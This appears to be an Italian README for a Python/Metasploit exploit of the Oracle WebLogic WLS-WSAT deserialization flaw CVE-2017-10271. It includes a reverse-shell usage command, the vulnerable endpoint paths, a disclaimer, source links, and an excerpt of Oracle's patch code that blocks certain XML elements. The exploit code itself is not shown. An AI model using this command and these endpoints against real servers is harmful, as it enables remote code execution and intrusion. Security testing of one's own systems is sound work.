
Exploit in Python e Metasploit per la vulnerabilità di deserializzazione Oracle WebLogic WLS-WSAT (CVE-2017-10271) con capacità di scansione di rilevamento ed esecuzione remota di codice.
Script di rilevamento e sfruttamento della vulnerabilità di deserializzazione del componente Weblogic wls-wsat (CVE-2017-10271)
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
Sei responsabile dell'uso di questo script. Kevin Kirsche non si assume alcuna responsabilità per qualsiasi azione intrapresa utilizzando il codice qui presente. Il codice è stato creato per team che desiderano convalidare la sicurezza dei propri server, non per uso malevolo.
Un grande ringraziamento a Luffin per aver creato il POC originale su cui si basa questo
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
CVE 2017-3506
Fonte originale: https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
Fonte aggiornata: https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}